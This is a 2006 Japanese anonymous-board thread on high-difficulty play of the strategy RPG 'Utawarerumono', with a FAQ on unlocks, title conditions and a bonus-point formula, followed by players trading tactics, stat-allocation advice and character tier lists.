1 名前:名無しさんだよもん mailto:sage [2006/08/20(日) 08:06:24 ID:saRxj1do0] 『うたわれるもの』(DVD版)および『うたわれるもの 散りゆく者への子守唄』(PS2版)の 高難度の攻略について扱うスレです。制限プレイややりこみなどの話題もこちらで。 それ以外の質問、感想などは総合スレを利用してください。 ◆前スレ うたわれるもの難易度3 pie.bbspink.com/test/read.cgi/leaf/1106822156/ ◆関連スレ Leaf「うたわれるもの」総合-コミケの季節Part41 (Leaf・Key板) pie.bbspink.com/test/read.cgi/leaf/1154418351/ うたわれるもの〜散りゆく者への子守唄〜vol.3 (家ゲーSRPG板) game9.2ch.net/test/read.cgi/gamesrpg/1152627840/ うたわれるもの-散りゆく者への子守唄- 其之肆 (ギャルゲ板) game9.2ch.net/test/read.cgi/gal/1155561313/ ◆攻略サイト うたわれるものDVD版 難易度『参』攻略ページ ttp://www.mecha.ne.jp/~heppoko99/eb/utaware.htm ねこまねきのお部屋 〜 NEKO'S ROOM ttp://0server.ddo.jp/~ake_3968/index2.html JK'S WEB SITE ttp://www.remus.dti.ne.jp/~jun31974/jkweb/kouryaku/utaware/
2 名前:名無しさんだよもん mailto:sage [2006/08/20(日) 08:08:49 ID:saRxj1do0] FAQ ・高難度四と高難度五の出し方を教えてください。 1:ゲームを一度クリアする。 2:戦闘練習から「おまけ」へ。 3:奥の方にいる猫に話しかけ、「おみやげ」を六回選択する。 ・CG鑑賞の最後の二つが埋まりません。 一枚は高難度クリア、もう一枚は称号を全取得、で見ることができます。 ・BPの溜まり方がよくわかりません。 (敵のLv-自キャラのLv)*(倒した瞬間からの連撃回数)*10で求まります。 ただしLv差が1未満になった場合は1で固定となります。 例1:敵のLvが10、攻撃キャラのLvが7、攻撃キャラの最大連撃が4で、2撃目で倒した場合 (10-7)*(4-1)*10=90 例2:敵のLvが10、攻撃キャラのLvが12、攻撃キャラの最大連撃が4で、3撃目で倒した場合 (10-12)*(4-2)*10→1*2*10=20 また、出撃者全員にボーナスとして150Pが割り振られます。
3 名前:名無しさんだよもん mailto:sage [2006/08/20(日) 08:11:52 ID:saRxj1do0] ・称号の取得条件を教えてください。 采配をふるうもの コンテニュー又はP/ECEを使用してゲームをクリアした 解放せしもの コンテニュー及びP/ECE未使用でゲームをクリアした うたわれるもの *名をLv51以上まで上げた 荒ぶるもの P/ECE未使用で*名が攻撃力限界(99)まで上げた 守護せしもの P/ECE未使用で*名が防御力限界(99)まで上げた 神結と呼ばれしもの P/ECE未使用で*名が術防御限界(99)まで上げた 忠実なるもの *名がBP未使用 衛士 P/ECE未使用で*名が敵撃破20体以上 足軽頭 P/ECE未使用で*名が敵撃破50体以上 侍大将 P/ECE未使用で*名が敵撃破100体以上 賢大僧正 P/ECE未使用で*名が術法による敵撃破20体以上 武人 *名が連撃成功率100% 名も無きもの *名が50回以上撤退した 彷徨いしもの コンテニュー回数が100回以上 極めしもの コンテニュー及びP/ECE未使用でメインキャラ全員が奥義発動
4 名前:名無しさんだよもん mailto:sage [2006/08/20(日) 08:15:05 ID:saRxj1do0] リアルウィツァルネミテア>>134 氏の偉業 ノーコンティニュー前提 難易度5 ・ 最後の戦いで任意のキャラでタイマンクリア(エルルゥ除く) ・ 連撃未使用クリア ・ ハクオロMAX(BPパラメータ全て最大)クリア ・ 男性キャラBP未使用クリア ・ 女性キャラBP未使用クリア ・ 風or火or土属性のみBP使用可クリア(水属性のみは決戦以降なら可能?) ・ オボロandトウカandカルラ BP・攻撃未使用クリア ・ 火and水and風and土属性キャラBP・攻撃未使用クリア(エルルゥ回復使用可) ・ 無and光and闇属性BP・攻撃未使用クリア 難易度3 ・ エルルゥ回復未使用クリア ・ 無撤退クリア 難易度1 ・ BP未使用クリア
5 名前:名無しさんだよもん mailto:sage [2006/08/20(日) 08:18:45 ID:saRxj1do0] テンプレここまで。 ムティカパとかギリアギナとか戦術で何とかなるものはテンプレ化してもいいかも。
6 名前:名無しさんだよもん mailto:sage [2006/08/20(日) 11:36:41 ID:UbTCfXV+0] 華麗に6げと
7 名前:前スレ134 mailto:sage [2006/08/20(日) 19:57:08 ID:kl15QiC60] >1 スレ立て乙です◇ サクヤと分かるでしょうか・・・ www.hayasoft.com/chansama/cgi-bin/uploader/src/up0033.jpg
8 名前:名無しさんだよもん mailto:sage [2006/08/20(日) 21:43:48 ID:saRxj1do0] >>7 まんまバニーガールw GJです
9 名前:名無しさんだよもん mailto:sage [2006/08/21(月) 01:43:24 ID:NZHof9Fq0] 次スレはここでいいのかにゃ?
10 名前:名無しさんだよもん mailto:sage [2006/08/25(金) 11:09:16 ID:9TNflleZ0] 難易度参で極めしもの取った記念カキコ
11 名前:名無しさんだよもん mailto:age [2006/08/26(土) 02:35:15 ID:kt8dgZgPO] ただ今プレイ中。ボーナスの采配ってどうやったらいいんですか? 前スレ落ちたのでわかりません。教えてください
12 名前:名無しさんだよもん mailto:sage [2006/08/26(土) 04:30:36 ID:kAp7a+en0] >>11 一行目見てレスしようと思ったが、二行目で厨臭がしたのでやめた。
13 名前:名無しさんだよもん mailto:sage [2006/08/26(土) 10:23:59 ID:o/16mXkR0] >>11 ヒント:説明書 あぁP2Pで違法DLしたから説明書ないんですね
14 名前:名無しさんだよもん mailto:sage [2006/08/26(土) 17:22:00 ID:DIyOHELH0] 基本的に説明書読まない俺ですらそんなことで悩んだことはない
15 名前:名無しさんだよもん mailto:sage [2006/08/26(土) 19:26:53 ID:Wq42uGgh0] …配分のこと?
16 名前:名無しさんだよもん mailto:sage [2006/08/26(土) 22:44:51 ID:BYGx9+r50] 簡単だよ。技に全部振ればいいんだ。
17 名前:名無しさんだよもん mailto:sage [2006/08/26(土) 22:56:52 ID:3lIeodaP0] 正直>>16 は真実
18 名前:名無しさんだよもん mailto:sage [2006/08/27(日) 14:15:44 ID:bKZXcs1E0] 難易度やどの称号を取りたいかによるよな。 ま、高難易度で称号無視なら、 ハクオロ: 防御中心。 エルルゥ: 皇都侵攻前に技をあげて、あとはひたすら防御。 他: 技を適当にあげつつ、攻撃中心で。 オボロとベナウィを使う場合は、技を対ニウェ戦前まででMAXにしとくとBP稼げてウマー。 とか、こんな感じだろうかね?
19 名前:名無しさんだよもん mailto:sage [2006/08/27(日) 15:10:14 ID:0hN5MMh20] 狩りし者狩られし者でベナオボ使った時のBPはdでもない。
20 名前:名無しさんだよもん mailto:sage [2006/08/27(日) 15:43:58 ID:JK5Reh6S0] >>19 普通にクリアするだけであいつらは獲得BPが1000突破するからな
21 名前:名無しさんだよもん mailto:sage [2006/08/28(月) 02:01:21 ID:qekcx/7q0] そのせいで、後半ついついオボロとベナとトウカに敵を倒させて、 カルラとドリィが弱くなっちまう俺。 つーか、いましがた難易度参で、采配、彷徨う、名も無き以外の称号を全てとるのを目標にして、ウィツ倒したが・・・ 誰かが技をつかうのを忘れてたらしく、極めし者を逃したorz くそぅ、マジで誰だよう。
22 名前:名無しさんだよもん mailto:sage [2006/08/28(月) 03:03:27 ID:qekcx/7q0] 解決したよ。びっくりだよ。ハクオロだったよ。 一回も、必殺技使わなかったのか……
23 名前:名無しさんだよもん [2006/08/28(月) 07:51:35 ID:rGQsEfvO0] >>21 その三人だけでよくね? 特にドリィとか高難度3以降は普通に二軍キャラだと思う。
24 名前:名無しさんだよもん mailto:sage [2006/08/28(月) 12:47:09 ID:kvxxswBp0] いつも序盤は1軍、中盤は1.5軍、終盤は2軍って感じになる カルラはアヴ相手には結構使うけど、他はそんなに重用はしないな
25 名前:名無しさんだよもん mailto:sage [2006/08/28(月) 13:06:14 ID:56Aj1GO40] 俺の場合、 ハクオロ、エルルゥ、アルルゥ、オボロ、カルラ、トウカ あたりが一軍かな。 キャラ愛のため毎回アルルゥのパラメータがMAXになるw
26 名前:名無しさんだよもん mailto:sage [2006/08/28(月) 14:52:33 ID:4oYP4Gk90] キャラ愛だとどうしてもトウカを優先させてしまうな それでうっかり仕留め損なった敵をオボロが始末していって 結果的にこの2人が育ってしまう
27 名前:名無しさんだよもん mailto:sage [2006/08/28(月) 16:15:16 ID:kvxxswBp0] 俺はアルルゥは好きだけど使わないなぁ 滅び行く者がどうにも苦手だから、アルルゥを育てると必ず泣きを見るw
28 名前:名無しさんだよもん mailto:sage [2006/08/28(月) 16:36:05 ID:26eSNJTw0] DVD版てCD版より画質良くなってる?
29 名前:名無しさんだよもん mailto:sage [2006/08/28(月) 21:30:51 ID:cXqtVkci0] >>21 エルルゥとか
30 名前:名無しさんだよもん mailto:sage [2006/08/29(火) 03:19:16 ID:aSkIIiI90] 彷徨いし者と名も無き者とってないし、 難易度伍をアルルゥ、グラァ、ウルト、カミュ、クロウを育ててやってみようかな。 ウルト以外こいつら一度も育てたことないし。 でも滅び行く者で、にっちもさっちもいかなくなりそう。
31 名前:名無しさんだよもん mailto:sage [2006/08/29(火) 07:47:16 ID:yvOlAV7l0] >>30 滅び行く者、雨降ってるとかホントありえない。 アレのせいでかなり難易度上がってる希ガス('A`)
32 名前:名無しさんだよもん mailto:sage [2006/08/29(火) 10:25:21 ID:dSDmx1DN0] ウルトの魔法は攻撃力とは関係ないのかねえ 極力攻撃を上げていったんだが余り変化しなかった
33 名前:名無しさんだよもん mailto:sage [2006/08/29(火) 10:31:19 ID:Hx8KVOEX0] >>32 攻撃に依存する。余り変化しないのは多分敵の術防が高いからだろ。
34 名前:名無しさんだよもん mailto:sage [2006/08/29(火) 10:47:24 ID:dSDmx1DN0] >>33 そうなのか。結構頑張ったが敵のペースに追いついてなかっただけだなw thx
35 名前:名無しさんだよもん mailto:sage [2006/08/29(火) 13:29:39 ID:wt9GR1NA0] 高難度の敵は妙に術防御高いからな。術姉妹は使いにくすぎる。
36 名前:名無しさんだよもん mailto:sage [2006/08/30(水) 00:22:04 ID:jFq7PSZg0] BPもためにくいしな。終盤で一人10Pはあまりに切ない。 システム上で術姉妹ってかんなり冷遇されてるというか。
37 名前:名無しさんだよもん [2006/08/30(水) 08:58:50 ID:JryxPLzB0] 今日はトウカの最萌え投票日です うたわれ勢も残り二人ですし、暇な人は応援してあげてほしい 投票所 ttp://pie.bbspink.com/test/read.cgi/leaf/1156849033/l50 コード発行所 ttp://saimoecode.sakura.ne.jp/LK2/
38 名前:名無しさんだよもん [2006/08/31(木) 00:48:04 ID:EuYvBK0D0] ケナシコウルペですでにエルルゥのレベルが75あるがちょっと上げすぎたかな? 敵が全然攻撃して来ない
39 名前:名無しさんだよもん mailto:sage [2006/08/31(木) 11:09:36 ID:7+NgVLwBO] 23が使えるようになるのはまだですか? いや、ウィツァル戦記で結構満足はしたんだけどさ
40 名前:名無しさんだよもん mailto:sage [2006/09/02(土) 16:56:55 ID:ZcqIs16i0] 難易度五で極めしものやっと取れた。 スオンカス戦の障害物の壁があそこまでうざいものとは思わなかった。
41 名前:名無しさんだよもん mailto:sage [2006/09/06(水) 13:41:45 ID:JJdRX1qG0] そうか? あそこの面は壁あったほうが楽な気がする。 他の敵を無視してスオンカスに特攻するのであればあの壁は結構邪魔になると思うが、 敵全部倒すとなると、俺の戦術だと第二陣に耐えられないっぽい('A`)
42 名前:名無しさんだよもん mailto:sage [2006/09/06(水) 15:58:06 ID:ynsYI8ZS0] おまけCG2枚見れた人いんの?マジ無理。うわあああああああああああああああああ
43 名前:40 mailto:sage [2006/09/06(水) 16:11:39 ID:NMfhon1r0] >>41 壁を壊すときには大概ハクオロ、エルルゥ、トウカ、カルラ以外はやられてるんだよ。 しかも技優先で育ててたもんだから集中砲火食らうと死ぬ。 だから壁を崩したときに狙いを分散させなきゃいけないんだが、それが難しかった。 ハクオロが集中砲火で死んだときはやるせなかったよ。 >>42 難易度壱でやれ。参以上は極めしものと侍大将、賢大僧正を両立させにくい。
44 名前:名無しさんだよもん mailto:sage [2006/09/06(水) 21:01:34 ID:cLahEs/+0] 弐でやってみたけど最初の戦闘でさえ勝てないんだけど 5戦5敗
45 名前:名無しさんだよもん mailto:sage [2006/09/06(水) 21:23:28 ID:Jwz+LLS80] >>44 まず後方に下がって多方向から攻撃を食らわないようにしろ。 高難度は自分から突っ込むと死ぬぞ。
46 名前:名無しさんだよもん mailto:sage [2006/09/06(水) 22:21:51 ID:3aMhXP2l0] 高難度壱が一番簡単なんだよね?標準除くと。 おれも44と同じく最初のサルでさえ勝つのに6回はやり直した。 言い訳を考えてみたら、一番最初はキャラを育てる事も出来ないから一番難しいはず! って自分を慰めたよ。。。。。。。。。プレイ2回目だからストーリーかみ締めながらじっくり理解できるようにプレイしようと思ってたけど 戦闘で時間食いそう。。。。。
47 名前:名無しさんだよもん mailto:sage [2006/09/06(水) 22:55:40 ID:wC4AuraK0] >>43 トウカで壊せば無視してカルラの方に向かうと思うんだけど。 高難度五ならトウカはデフォルトで強いし尚更。 >>46 最初は育て方での差が出てないからどんなプレイ方法でも確実にクリアできる面、とも言える。
48 名前:名無しさんだよもん mailto:sage [2006/09/06(水) 23:48:23 ID:jF10GONI0] >>46 猿のところでエルルゥを育てるとあとがラク チラシの裏
49 名前:名無しさんだよもん mailto:sage [2006/09/07(木) 23:17:17 ID:CjSA++mh0] 挫折した。高難度きつすぎ
50 名前:名無しさんだよもん mailto:sage [2006/09/07(木) 23:25:03 ID:TABN71s/0] >>49 何度も諦めず挑戦するといいさ 序盤はともかくカルラ&トウカが来てからはその2人を重点的に上げていけば問題ない
51 名前:名無しさんだよもん mailto:sage [2006/09/07(木) 23:52:36 ID:noB2E5u60] カルラは1軍半って感じじゃね。 攻撃以外のパラが壊滅的だぞ。 オボロ、トウカ、べナウィの三人を育てるのが一番だと思うが。
52 名前:名無しさんだよもん mailto:sage [2006/09/08(金) 00:04:01 ID:Vq8Cyk1t0] >>50 カルラは参までなら使えるがそれ以上になると厳しい。 ターンリロードの遅さが致命的。
53 名前:名無しさんだよもん mailto:sage [2006/09/08(金) 09:00:14 ID:/7c5b3kH0] >>49 だけど、ポイントの振り分け方がわからない。 とっとと技を上げたいので防御とかは全然上げないでポイント全部繰り越して 技を上げようとしているんだけど、それだと防御とか上げられないからボス格が相手だと 1撃で瀕死になって、回復しても8割方の回復で2発目でやられるし、前半は技無視の攻撃、防御上げた方がよかったりするのですかね? 高難度壱だけど、四とか五でやれてる人が信じられん。
54 名前:名無しさんだよもん mailto:sage [2006/09/08(金) 09:29:43 ID:7TluG2aI0] >>53 基本的に技>攻撃>防御でいい。 参以上ならともかく壱なら防御あげんでも大丈夫。 俺は難易度五でもハクオロ、エルルゥ以外は防御は後回しにしてるし。 戦闘を楽にしたいなら 火>水>風>土>火の属性相性を利用する。 地形を利用したり、陣を組んだりして多方向からたこ殴りにされないようにする。 エルルゥ自身は回復できないから、エルルゥが攻撃をもらわないようにキャラで囲う。 これらを意識してやれば相当楽になると思う。 あとはステージによって臨機応変に対応すればいい。
55 名前:名無しさんだよもん mailto:sage [2006/09/08(金) 10:26:18 ID:/7c5b3kH0] >>54 ご回答どうもです。 注文してたアニメのDVDも届いたし、うたわれテンション回復しつつあるから頑張ってみます。 敵の攻撃を受けたら、ひたすら回復してそれの繰り返しで敵がレベルアップしたら敵のライフ回復するから そこで攻撃してダメージ与えて経験値GET、敵が死にそうになったらストップ。 そしてまた敵の攻撃を受けて、ひたすら回復して敵のレベルアップによるライフ回復待って・・・・・。 の経験値稼ぎとかみんな地道にやってるのかな?エルルゥだけは最初のステージで5まで居眠りこきながら頑張ったけど。。。。
56 名前:名無しさんだよもん mailto:sage [2006/09/08(金) 10:52:05 ID:7TluG2aI0] >>55 俺が経験値稼ぎやったのは難易度五でも キママゥとムティカパ、あとヌワンギ2回目とトウカ2回目だけだったな。 レベル差が2以上空いてから連撃で倒すとBPも多めにもらえておいしい。 とはいえ難易度壱ならそこまでLv上げしなくても大丈夫だと思う。 トウカは敵のときにLv上げておくと仲間になったときにLvが上がってるからオススメ。 似たようなのでは敵のときのクロウ、ベナウィに仲間がやられてると この二人が仲間になったときにBPがいくらか最初からたまってる。
57 名前:名無しさんだよもん mailto:sage [2006/09/09(土) 01:13:10 ID:WyN84r160] >>55 回復しても8割方ってことなら、それはエルルゥの攻撃が足りないんじゃない?
58 名前:名無しさんだよもん mailto:sage [2006/09/09(土) 12:26:24 ID:cWltPt0s0] 色々アドバイスもらったおかげで、とりあえずそこそこ先に進めるようになりました。ありがとうございます。 ファイヤーエンブレムとかプレイしてたクセで、全滅とかして負けるとコンテニューは使わないで一度タイトル画面に戻って ロードしてました。コンテニュー使うと経験値繰り越せるとは知りませんでした・・・・・。 これだと称号集めは100%無理ですがクリアの道が見えてきました。でも称号集めた人が居るって事はノーコンテニューでクリアした人居るんですよね。 まったくもって想像つかないです。。。。。凄すぎる。。。 疑問がでたのですが、クリアするとボーナスポイントもらえますが退却したキャラが居ても加算されてるんですか? それと連撃で敵を倒すと経験値が多くもらえるみたいですが、倒した時点でもらえるのですか?それともクリア時点でボーナスポイントでもらえるのでしょうか? その連撃は2回以上であればいいのか、必殺技で無いといけないのか、赤丸の技を消費するところまででいいのか?とちょっと気になったのでわかる人といたら教えてください。 技を上限まで上げた後は、特殊防御無視で、 ハクオロは、エルルゥはひたすら防御 その他キャラは攻撃力にポイント振り分けてるのですがこれでいいのでしょうか・・・・?
59 名前:名無しさんだよもん mailto:sage [2006/09/09(土) 13:07:00 ID:KD8i+sD90] >>58 クリアボーナスは退却したしないに関わらず出撃キャラに一律BP150とステージ固有の経験値がもらえる。 連撃で多くもらえるのは経験値じゃなくてBP。これは2回以上であればいい。 その量は(敵のLv−倒したキャラのLv)×(倒してからの連撃数)×10。 たとえば、Lvが2上の敵の残りHP100のときに90、30、1、1というダメージを与えて倒した場合 2×3×10で60ポイントもらえる。 経験値は与えたダメージ量にレベル差の補正(敵が強いほど多い)がかかるだけ。 敵を倒しても倒せなくても量は変わらない。 まあダメージ量が上がるから連撃した方がもらえる量は多いとも言える。 経験値もBPも倒した時点でもらえるが、BPはステージクリア後の清算時にしか使えない。 ハクオロは防御だけでいいが、エルルゥは多少攻撃にも振ったほうがいい。 術防はクーヤ戦をクリア後から、防御の変わりに振りはじめるとラスボス戦が楽になる。 あと気力がMAXのときは能力値が上がるから、 気力の上がりやすいカルラ以外は無闇に必殺技は連発しないほうがいい。
60 名前:名無しさんだよもん mailto:sage [2006/09/09(土) 13:54:29 ID:HI0xw+og0] 高難度壱は属性、密集効果、ハクオロ効果、オボロ効果をしっかりやりさえすれば 経験値稼ぎや育て方にこだわらなくても大丈夫だと思うんだが。
61 名前:名無しさんだよもん mailto:sage [2006/09/09(土) 19:19:02 ID:wmDmwysf0] むしろハクオロ効果やオボロ効果すら必要ない 密集して待ってればほぼ勝てる
62 名前:名無しさんだよもん mailto:sage [2006/09/09(土) 20:51:29 ID:Ypcvj+f+0] エースユニットを育てて、そのキャラだけで敵陣突撃して殲滅ってゲームでは無いからな 必然的に陣形を組んで待ち伏せ、近づいて来た敵を各個撃破って戦術になるね
63 名前:名無しさんだよもん mailto:sage [2006/09/10(日) 14:47:00 ID:DCTfRQSN0] >>62 遠距離攻撃や回復役の少なさ、敵の多さからどうしてもそうなっちゃうんだよね むしろ陣形組まないと初戦すら切り抜けられないような希ガス。 オボロ効果は上手く育てればオリカカン戦までは使えると思うけど、 後半のことを考えるとドリィに経験値まわそうって言う気にならない('A`) 5Hitの40/40/40とか50/30/30は強すぎだよなあ…
64 名前:名無しさんだよもん mailto:sage [2006/09/10(日) 15:27:52 ID:bWR+JJz00] >>63 俺だと優先度が トゥスクル建国まで:オボロ>ドリィ>>テオロ>>>その他 ナ・トゥンク編まで:カルラ>ベナウィ>オボロ>ドリィ>>>その他 ナ・トゥンク編:カルラ>トウカ>>デリホウライ>>>その他 シケリペチム編以降:ベナウィ>オボロ>トウカ>カルラ>>>その他 こんな感じになるな。 名指しされてないキャラはクリア時いつも撃破数が0か1(間違えて倒した)ぐらいだ。
65 名前:名無しさんだよもん mailto:sage [2006/09/10(日) 17:13:57 ID:9lWD+1Uk0] やっとこさ高難度壱をクリアできました。2週目ということでストーリーの理解が深まって大満足でした。 これでうたわれるもののプレイは一旦終了って事にしないと体が持たないのですが、1枚目のオマケCGを見たせいで・・・・。 称号全部獲得で見れるCGが気になっています・・・・。 コンテニュー未使用って、成長が限られちゃうのにクリアできるのかなー? あー、細部まで語られた、うたわれの活字本出ないかなー・・・・。
66 名前:名無しさんだよもん mailto:sage [2006/09/10(日) 18:02:22 ID:9t+sBHc20] >>65 1枚目のCGで気になるなら2枚目もみるべき トウカ ベナ オボロあたりだけ育ててりゃ普通にクリアできるとおもう
67 名前:名無しさんだよもん mailto:sage [2006/09/10(日) 18:37:20 ID:bWR+JJz00] >>65 ノーコンの時は高難度壱程度なら 主力以外に敵を倒させない。 障害物は全部壊す。 の2点に気をつければいい。 優先順は>>64 。 極めしものを取るためには主力以外では 自由出撃時にクロウが2回、カミュが1回出撃した上で BPを100以上テオロとデリホウライが自分で稼がないとダメ。
68 名前:名無しさんだよもん mailto:sage [2006/09/10(日) 18:40:27 ID:f4ieMlXm0] 2枚目は難しいと言うより単純に面倒なんだよな…
69 名前:名無しさんだよもん mailto:sage [2006/09/10(日) 21:20:13 ID:iRbHQniT0] 時間をかければ必ずクリアできるさ
70 名前:名無しさんだよもん mailto:sage [2006/09/10(日) 23:03:11 ID:blrPOFoO0] >>65 壱プレイ時のセーブはステージ毎とってあるか? それはできれば彷徨いしもの、名も無きもの用にとっておけ。 他のも一度で取る事は考えないほうがいい。 極めしものはそれだけを狙うつもりでやらないと、散々苦労した挙句出し忘れで取り忘れなんて事態になることも。 あと荒ぶるもの系は難度高い方が逆に楽だったりする。
71 名前:名無しさんだよもん mailto:sage [2006/09/11(月) 02:52:16 ID:WxdWaU+V0] >>65 >>70 見て思ったんだが、 衛士・足軽頭・侍大将・賢大僧正ってノーコン限定でいいんだよな。 >>3 見たらノーコンって書いてなかったもので。
72 名前:名無しさんだよもん mailto:sage [2006/09/11(月) 06:43:20 ID:tHU0cKBV0] >>71 ノーコン限定でOK
73 名前:名無しさんだよもん mailto:sage [2006/09/11(月) 22:48:21 ID:jtsU67SO0] >>64 でもいいと思うけど難度3以上になってくるとカルラの優先順を下げてもいいかも。 だけどカルラゥアツゥレイでカルラが狙われるのでそれまでに防御力をある程度あげておくこと。 デリホウライ、テオロは敵を倒させず、生贄として使うのがベスト。 全体的にオボロ、ベナウィ、トウカの三人を優先して取得BPを考えながら敵を倒せば後々楽になる気がする。
74 名前:名無しさんだよもん mailto:sage [2006/09/11(月) 23:48:04 ID:DYkWevA80] 俺の場合オボロの紙具合がどうしても気になるから ベナウィ>トウカ>オボロ>カルラ>その他だな。
75 名前:名無しさんだよもん mailto:sage [2006/09/12(火) 00:08:45 ID:ctgJfDuF0] ドリィも、狩りし者狩られし者では必要だと思うし、仮面でもいた方がいいとは思うけどね。 でもこれ以降は出番はないな。 しかしこのスレ、ベナウィの評価が本当に高いな。 ネット上の攻略HPだと、どこも使えないといわれてるのに。
76 名前:名無しさんだよもん mailto:sage [2006/09/12(火) 00:31:45 ID:IGTI8QhZ0] ノーコン以外の制限無しでやる場合、カルラ育てるのはナトゥンクまでだな 実際んところ、ラスボスタイマンやるからあまり関係ないが。 アルルゥ育ててみた時は意外な強さにビビッタなw 敵の攻撃食らいまくると稀に二回連続行動とかなるし、 狩りしの通路弓部隊も早めに一掃できる。 でも雨で死ねるしBP溜めにくいからタイマンプレイ以外ではツカワネ('A`) >>75 ナトゥンクで男が抜けるのが大きいかな、やっぱり。 攻略HPの攻略ではBP計算もできてないところも多いしな。 技上げは必要ないと言い切っちゃってるサイトもあるし。 標準難度からやった人はベナ最弱だが、高難度熟練者なら 5/50/30/30は悪魔のような強さだと気付くはず。
77 名前:名無しさんだよもん mailto:sage [2006/09/12(火) 03:46:52 ID:FLKBVvl+0] 結局育てる気になればどのキャラも使える能力にはなるから 育てられない部分の差がキャラの使い勝手の差になる 自分はリロードの早さを最重要視。アルルゥ最強 雨の日は防御が紙だから遊撃やらせて凌ぐ
78 名前:名無しさんだよもん mailto:sage [2006/09/14(木) 14:06:04 ID:ZX8G6e8T0] デリホウライがやわらかです! おねいさん達がたどり着く前にしんじゃう・・・ 難度3
79 名前:名無しさんだよもん mailto:sage [2006/09/14(木) 14:18:57 ID:Y+hcuJrk0] >>78 デリホウライは護衛の兵士たちと一緒に左端に移動させる。 まずはハクオロを一番前に出してある程度ダメージをもらっておく。 次にハクオロを回復せずに初期位置に向かって後退させる。 あとはハクオロへの道をふさがなければみんなこっちに寄ってくる。 道をふさぐとデリホウライに向かうから、あとは道をふさぐ、空けるを繰り返せば 敵はうろうろしてるだけになるからトウカ、カルラを使って撃破すればいい。 ただ、移動力の関係上一度追い抜かされると追いつけないので気をつけろ。
80 名前:名無しさんだよもん mailto:sage [2006/09/14(木) 15:34:41 ID:75o1JrBX0] 難易度3で「荒ぶる森の王〜カカエラユラの森〜」のステージクリアできねえ('A`) 難易度下げるか…('A`)
81 名前:名無しさんだよもん mailto:sage [2006/09/14(木) 16:03:41 ID:mxMt+TrA0] 前スレに画像付きの攻略が載ってるよ 前ステージで経験値調整してなくてもやり方さえわかればできる 方法1 ハクオロ一歩前進・テオロ全力前進→ハクオロ全力前進・テオロ囲まれ→ハクオロ全力前進・エルルゥハクオロを回復→ハクオロ全力前進 方法2 ハクオロ全力前進・テオロ全力後退→ハクオロ全力前進以下略
82 名前:名無しさんだよもん mailto:sage [2006/09/14(木) 16:10:02 ID:1VYa9S6Y0] >>80 1ターン目でテオロをムティカパ側に向かわせる。 ハクオロはそのまま罠方向に進む。エルルゥはひたすらハクオロに向かう。 テオロがムティカパの攻撃を食らうと猿が数匹テオロ側に向かうので、 その隙にハクオロは罠側へ。エルルゥがハクオロと合流したら、 ハクオロを回復させつつ、囮となって猿の進行を防ぐ。 エルルゥが防いでる間にハクオロは罠の位置に到着。これが一番簡単だと思う。 ないとは思うが、レベル上げすぎてるとこの戦術は使えない。
83 名前:名無しさんだよもん mailto:sage [2006/09/14(木) 22:14:16 ID:ZX8G6e8T0] >>79 ありがとう 絶望しかかったが、どうにかクリアできました 加減がむずかしいのでもう一度やれといわれても無理だと思います やわらか・やわらぎ・でりほうらい・それにつけても足の遅さよ
84 名前:名無しさんだよもん mailto:sage [2006/09/15(金) 00:16:02 ID:quhkaHsu0] なんとなく使いやすさキャラランク作ってみた S エルルゥ A オボロ ベナウィ トウカ B ハクオロ カルラ クロウ C アルルゥ ドリィ (ゲンジマル) D グラァ (テオロ) E ウルトリィ カミュ (デリホウライ) こんなもんじゃね?
85 名前:名無しさんだよもん mailto:sagre [2006/09/15(金) 00:31:59 ID:B3Bh68An0] そんなもんだと思うが、俺的にはこうなった クロウ C ゲンジマル A アルルゥ D
86 名前:名無しさんだよもん mailto:sage [2006/09/15(金) 02:02:27 ID:egv9jTPo0] ハクオロさんは育てたらアウト、なので逆に使いにくい カミュは結構狙われるから囮として使える アルルゥはうまく育てると雑魚の中に放り込んでも 全部食い殺してきたりするから重宝する これくらいかな、異論があるのは
87 名前:前スレ134 mailto:sage [2006/09/15(金) 03:21:51 ID:QuT4Q5O80] 難易度で変わるけど、全体的な使いやすさでいうなら S トウカ オボロ A ゲンジマル ベナウィ B カルラ カミュ C クロウ ドリィ アルルゥ D グラァ テオロ ハクオロ E ウルトリィ デリホウライ 育てやすさなら S オボロ ベナウィ A トウカ カルラ ハクオロ B クロウ カミュ C ドリィ アルルゥ D テオロ ゲンジマル E グラァ ウルトリィ デリホウライ 総合的な強さなら S ゲンジマル ベナウィ A トウカ B オボロ クロウ C カルラ アルルゥ ドリィ D テオロ デリホウライ ハクオロ E グラァ ウルトリィ カミュ
88 名前:名無しさんだよもん mailto:sage [2006/09/15(金) 03:30:08 ID:GGxNFVAH0] ttp://www.imgup.org/iup261093.jpg ハクオロ最強
89 名前:名無しさんだよもん [2006/09/15(金) 11:22:24 ID:B3Bh68An0] ____ ____ ____ /_ノ ヽ、_ \ / \ / \ o゚((●)) ((●))゚o / _ノ ヽ、_ \/ _ノ ヽ、_ \ /::::::⌒(__人__)⌒::::::\o゚⌒ ⌒゚o \((●)) ((●))゚o\ | |r┬-| | (__人__) | (__人__) | 乙だお!乙だお!乙だお!乙だお!乙だお! \ `ー'´ / ` ⌒´ / ` ⌒´ / ____ ___ ____ /⌒三 ⌒\ /⌒ ⌒\ /⌒ ⌒\ /( ○)三(○)\/( ●) (●)\/ (―) (―)\ /::::::⌒(__人__)⌒:::::\::⌒(__人__)⌒:::::\⌒(__人__)⌒:::::\ | |r┬-| | |r┬-| | | 乙だお!乙だお!乙だお!乙だお!乙だお! \ `ー'´ / `ー'´ / / ____ ____ ____ / \ / \ /\ /\ / ─ ─ \/ \/( ●) (●)\ / ( ●) (●) \ ⌒ ⌒ \:⌒(__人__)⌒:::::\ | (__人__) |// (__人__) /// | |r┬-| | 乙だお!乙だお!乙だお!乙だお!乙だお! \ ` ⌒´ / / `ー'´ / ____ ____ ____ /ノ ヽ、_\ /⌒ ー、\ /_ノ ' ヽ_\ /( ○)}liil{(○)\/( ●) (●)\/(≡) (≡)\ / (__人__) \⌒(__人__)⌒:::::\//(__人__) /// \ | ヽ |!!il|!|!l| / | |r┬-/ ' | |r┬-| | 乙だお!乙だお!乙だお!乙だお!乙だお! \ |ェェェェ| / `ー' / `ー'´ /
90 名前:名無しさんだよもん [2006/09/16(土) 08:23:10 ID:wIgQ1HPhO] BPって経験値みたいに全滅しても次に持ち越せませんよね?
91 名前:名無しさんだよもん mailto:sage [2006/09/16(土) 08:52:42 ID:EE5sDHsb0] >>90 持ち越せる。ただし振り分けはステージクリア後の清算時にしかできない。
92 名前:名無しさんだよもん mailto:sage [2006/09/16(土) 10:29:22 ID:VhOV/TQP0] >>91 コンテして途中でメンバー変えたら、前のメンバーのBPってもらえるの?
